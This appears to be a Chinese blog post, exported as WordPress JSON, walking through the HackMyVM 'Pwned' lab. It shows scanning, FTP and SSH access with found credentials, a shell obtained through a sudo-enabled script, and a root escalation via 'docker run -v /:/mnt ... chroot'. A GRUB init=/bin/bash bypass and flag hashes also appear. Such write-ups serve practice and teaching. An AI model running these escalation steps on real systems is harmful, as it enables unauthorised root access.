{"id":411,"date":"2024-03-17T21:33:00","date_gmt":"2024-03-17T13:33:00","guid":{"rendered":"http:\/\/162.14.82.114\/?p=411"},"modified":"2024-03-24T21:42:28","modified_gmt":"2024-03-24T13:42:28","slug":"hmv-_-pwned","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/411\/03\/17\/2024\/","title":{"rendered":"hmv[-_-]Pwned"},"content":{"rendered":"

Pwned<\/h1>\n

\u8001\u6837\u5b50vmware\u5bfc\u5165\uff0c\u5347\u7ea7\uff0c\u6539Nat\uff0c\u6253\u5f00\u4ee5\u540e\uff1a<\/p>\n

\"image-20240316131846915\"<\/div><\/p>\n

\u770b\u4e0a\u53bb\u4e00\u5207\u6b63\u5e38\uff0c\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240316132219107\"<\/div><\/p>\n

\u6ca1\u626b\u5230\uff1f<\/p>\n

\u5e94\u8be5\u662f\u56e0\u4e3a\u672c\u6765\u662f\u7ed9virtualbox<\/code>\u8bbe\u8ba1\u7684\uff0c\u4ee51.0<\/code>\u534f\u8bae\u5bfc\u51fa\u91cd\u65b0\u914d\u7f6e\u4e00\u4e0b\u8bd5\u8bd5\uff0c\u8fd8\u662f\u626b\u4e0d\u5230\u7f51\u5361\uff0c\u96be\u9053\u4e0d\u80fd\u626b\uff1f<\/p>\n

\u6253\u5f00virtualbox<\/code>\u770b\u770b\u80fd\u4e0d\u80fd\u626b\u5230\uff0c\u4f9d\u65e7\u4e0d\u884c\u3002\u3002\u3002\u91cd\u65b0\u914d\u7f6e\u4e00\u4e0bvmware<\/code>\u7684\u9776\u573a\u518d\u626b\u4e00\u4e0b\uff1a<\/p>\n

sudo netdiscover -r 10.161.61.0\/24<\/code><\/pre>\n
\"image-20240316135652220\"<\/div><\/p>\n
\u4f9d\u7136\u65e0\u6cd5\u626b\u63cf\u5230\uff0c\u771f\u7684\u662f\u5f88\u90aa\u95e8\uff0c\u770b\u6765virtualbox<\/code>\u7684\u9776\u573a\u914d\u7f6e\u5230vmware<\/code>\u4e0a\uff0c\u8fd8\u662f\u6709\u4e0d\u5c11\u95ee\u9898\u3002<\/p>\n
\u53ea\u80fd\u5148\u8fdb\u53bb\u770b\u4e0b\u5730\u5740\u4e86\uff0c\u53c2\u8003\u6e17\u900f\u9776\u673a\u626b\u63cf\u4e0d\u5230ip\u5730\u5740_\u626b\u4e0d\u5230\u9776\u573aip-CSDN\u535a\u5ba2<\/a><\/p>\n
\n
\u8fd9\u91cc\u7684\u5e08\u5085\u53ef\u80fd\u72af\u4e86\u4e00\u4e2a\u5c0f\u9519\u8bef\uff0c\u7fa4\u4e3b\u5927\u5927ll104567<\/a>\u53d1\u73b0\u4e86\u8fd9\u4e00\u9519\u8bef\uff0cgrub\u7684\u65f6\u5019\u5199rw single init=\/bin\/bash<\/code>\u6216\u8005rw init=\/bin\/bash<\/code>\u90fd\u884c\uff0c\u800csignie\u8fd9\u4e00\u547d\u4ee4\u662f\u4e0d\u88ab\u652f\u6301\u7684\uff08\u4e3b\u8981\u662f\u6211\u6ca1\u627e\u5230\uff09\u3002<\/p>\n<\/blockquote>\n
\"image-20240317202909176\"<\/div><\/p>\n
\u626b\u4e0d\u51fa\u6765\u3002\u3002\u3002\u76f4\u63a5\u67e5flag\u5427\uff1a<\/p>\n
fb8d98be1265dd88bac522e1b2182140\n4d4098d64e163d2726959455d046fd7c<\/code><\/pre>\n
\u672c\u9898\u8003\u5bdf\u7684\u662fdocker\u9003\u9038\uff0c\u56de\u5934\u53bb\u522b\u7684\u5730\u65b9\u518d\u5c1d\u8bd5\u5427\u3002<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap -Pn -p- 10.161.216.116<\/code><\/pre>\n
\"image-20240317203119772\"<\/div><\/p>\n
\u91cd\u65b0\u914d\u7f6e\u4e86\u4e00\u4e0b\uff1a<\/p>\n
nmap 10.161.216.116<\/code><\/pre>\n
Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-17 08:52 EDT\nNmap scan report for 10.161.216.116\nHost is up (0.00094s latency).\nNot shown: 997 closed tcp ports (conn-refused)\nPORT   STATE SERVICE\n21\/tcp open  ftp\n22\/tcp open  ssh\n80\/tcp open  http\n\nNmap done: 1 IP address (1 host up) scanned in 0.08 seconds<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/10.161.216.116\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -t 60<\/code><\/pre>\n
\/nothing              (Status: 301) [Size: 318] [--> http:\/\/10.161.216.116\/nothing\/]\n\/server-status        (Status: 403) [Size: 279]\n\/hidden_text          (Status: 301) [Size: 322] [--> http:\/\/10.161.216.116\/hidden_text\/]\nProgress: 220560 \/ 220561 (100.00%)<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u67e5\u770b\u4e00\u4e0b\u654f\u611f\u76ee\u5f55<\/h3>\n
http:\/\/10.161.216.116\/nothing <\/code><\/pre>\n
\"image-20240317205848126\"<\/div>
\n
\"image-20240317205910019\"<\/div><\/p>\n
\"image-20240317205931263\"<\/div><\/p>\n
\u518d\u770b\u4e00\u4e0b\u522b\u7684\uff1a<\/p>\n
http:\/\/10.161.216.116\/hidden_text  <\/code><\/pre>\n
\"image-20240317210029288\"<\/div><\/p>\n
\/hacked\n\/vanakam_nanba\n\/hackerman.gif \n\/facebook\n\/whatsapp\n\/instagram\n\/pwned\n\/pwned.com\n\/pubg \n\/cod\n\/fortnite\n\/youtube\n\/kali.org\n\/hacked.vuln\n\/users.vuln\n\/passwd.vuln\n\/pwned.vuln\n\/backup.vuln\n\/.ssh\n\/root\n\/home<\/code><\/pre>\n
\u662f\u4e00\u4e2a\u5b57\u5178\uff0c\u62ff\u6765\u626b\u4e00\u4e0b\uff1a<\/p>\n
gobuster dir -u http:\/\/10.161.216.116\/ -w secret.dic -t 60<\/code><\/pre>\n
\/pwned.vuln           (Status: 301) [Size: 321] [--> http:\/\/10.161.216.116\/pwned.vuln\/]<\/code><\/pre>\n
\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240317210255985\"<\/div><\/p>\n
\u5c1d\u8bd5\u5f31\u5bc6\u7801\u4ee5\u53ca\u4e07\u80fd\u5bc6\u7801\uff0c\u65e0\u679c\uff0c\u67e5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u770b\u770b\u6709\u6ca1\u6709\u4e1c\u897f\u3002<\/p>\n
\"image-20240317210427229\"<\/div><\/p>\n
\u6211\u64e6\u539f\u6765\u5728\u8fd9\u91cc\uff0c\u5c1d\u8bd5ftp\u67e5\u770b\u6587\u4ef6\uff1a<\/p>\n
ftp\u8fde\u63a5<\/h3>\n
ftp 10.161.216.116\nftpuser\nB0ss_B!TcH<\/code><\/pre>\n
\"image-20240317210816905\"<\/div><\/p>\n
\u62ff\u5230\u4e86\u79c1\u94a5\u548c\u7528\u6237\u540d\uff0c\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n
chmod 600 id_rsa\nssh ariana@10.161.216.116 -i id_rsa\n# ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa ariana@10.161.216.116 \u6ca1\u7528\u4e0a\u4e0d\u8fc7\u8bb0\u5f55\u4e00\u4e0b<\/code><\/pre>\n
\"image-20240317211412442\"<\/div><\/p>\n
\u67e5\u770b\u57fa\u7840\u4fe1\u606f\uff0c\u5c45\u7136\u548ckali<\/code>\u7684\u4fe1\u606f\u5f88\u50cf(id)<\/code>\uff0c\u54c8\u54c8\u54c8\uff01<\/p>\n
\"image-20240317211623851\"<\/div><\/p>\n
\u53d1\u73b0messenger.sh<\/code>\u6587\u4ef6\u4e0d\u9700\u8981selena<\/code>\u7528\u6237\u8ba4\u8bc1\u5373\u53ef\u8fd0\u884c\u3002<\/p>\n
\u8fd0\u884c\u4e00\u4e0b\uff0c\u53d1\u73b0\u6709\u4e09\u4e2a\u7528\u6237\uff0c\u968f\u4fbf\u8f93\u5165\u4e00\u4e2a\uff0c\u5f39\u51fa\u6765\u4e86\u4e00\u4e2ashell\uff0c\u6269\u5c55\u4e00\u4e0b\uff0c\u6211\u8fd9\u8fb9\u50bb\u4e4e\u4e4e\u7684\u4ee5ariana<\/code>\u5148\u8fd0\u884c\u4e86\u4e00\u904d\uff0c\u54c8\u54c8\u54c8\uff1a<\/p>\n
# \u4ee5selena\u7528\u6237\u8fd0\u884c\u7a0b\u5e8f\nsudo -u selena .\/messenger.sh<\/code><\/pre>\n
# Welcome to linux.messenger \n\n# ariana:\n# selena:\n# ftpuser:\n\nEnter username to send message : selena\n\nEnter message for selena :\/bin\/bash\n\n# Sending message to selena \nwhoami;id\n# selena\n# uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)\npython3 -c "import pty;pty.spawn('\/bin\/bash');"\nselena@pwned:\/home$ <\/code><\/pre>\n
\u67e5\u770bid<\/code>\u53d1\u73b0\u7528\u6237\u5728docker<\/code>\u7ec4\uff1a<\/p>\n
\"image-20240317212933458\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fdb\u884cdocker<\/code>\u63d0\u6743\uff1a<\/p>\n
docker run -v \/:\/mnt --rm -it alpine chroot \/mnt sh<\/code><\/pre>\n
\u83b7\u53d6flag\uff01<\/p>\n
\"image-20240317213155649\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
Pwned \u8001\u6837\u5b50vmware\u5bfc\u5165\uff0c\u5347\u7ea7\uff0c\u6539Nat\uff0c\u6253\u5f00\u4ee5\u540e\uff1a \u770b\u4e0a\u53bb\u4e00\u5207\u6b63\u5e38\uff0c\u626b\u63cf\u4e00\u4e0b\uff1a \u6ca1\u626b\u5230\uff1f \u5e94\u8be5\u662f\u56e0 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-411","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/411","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=411"}],"version-history":[{"count":3,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions"}],"predecessor-version":[{"id":459,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/411\/revisions\/459"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=411"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=411"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=411"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}